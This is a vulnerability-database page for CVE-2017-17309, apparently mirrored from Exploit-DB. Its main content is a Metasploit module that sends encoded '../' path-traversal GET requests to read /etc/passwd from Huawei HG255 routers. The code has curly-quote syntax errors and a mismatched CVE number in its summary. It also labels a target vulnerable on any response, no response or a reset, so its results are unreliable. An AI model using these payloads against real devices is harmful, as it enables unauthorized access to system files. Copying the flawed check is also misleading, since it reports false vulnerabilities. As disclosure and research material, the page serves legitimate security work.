Lucene search
K

Huawei HG255 - Directory Traversal (Metasploit)

🗓️ 15 Jan 2020 00:00:00Reported by Ismail TasdelenType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 184 Views

Huawei HG255 Directory Traversal, Server Directory Traversal at Huawei HG255 by malicious GET requests, CVE 2017-1730

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Huawei HG255 - Directory Traversal Exploit
15 Jan 202000:00
zdt
GithubExploit
Exploit for Path Traversal in Huawei Hg255S-10_Firmware
1 Jan 202600:35
githubexploit
CNVD
Huawei HG255s-10 Path Traversal Vulnerability
28 Jun 201800:00
cnvd
CVE
CVE-2017-17309
14 Jun 201814:00
cve
Cvelist
CVE-2017-17309
14 Jun 201814:00
cvelist
EUVD
EUVD-2017-8475
7 Oct 202500:30
euvd
exploitpack
Huawei HG255 - Directory Traversal ( Metasploit )
15 Jan 202000:00
exploitpack
NVD
CVE-2017-17309
14 Jun 201814:29
nvd
OSV
CVE-2017-17309
14 Jun 201814:29
osv
Packet Storm
Huawei HG255 Directory Traversal
15 Jan 202000:00
packetstorm
Rows per page
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#
##


class MetasploitModule < Msf::Auxiliary
   include Msf::Exploit::Remote::HttpClient

   def initialize
       super(
           'Name'        => 'Huawei HG255 Directory Traversal',
           ‘Description’ => ‘Server Directory Traversal at Huawei HG255 by malicious GET requests’,
           ‘Author’      => ‘Ismail Tasdelen’,
           ‘License’     => MSF_LICENSE,
           ‘References’     =>
           [
              ['CVE', '2017-17309' ],
              ['URL', 'https://www.huawei.com/en/psirt/security-notices/huawei-sn-20170911-01-hg255s-en']
           ]
       )
       register_options(
           [
               Opt::RPORT(80)
           ], self.class
       )
   end

   def run
       urllist=[
           ‘/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
           ‘/lib/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
           ‘/res/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’,
           ‘/css/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd’]

       urllist.each do |url|
           begin
               res = send_request_raw(
               {
                       ‘method’=> ‘GET’,
                       ‘uri’=> url
               })

               if res
                   print_good(“Vulnerable! for #{url}”)
               else
                   print_status(“Vulnerable(no response) detected for #{url}”)
               end
           rescue Errno::ECONNRESET
               print_status(“Vulnerable(rst) detected for #{url}”)
           rescue Exception
               print_error(“Connection failed.”)
           end
       end
   end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jan 2020 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 37.5
CVSS 27.8
EPSS0.06635
184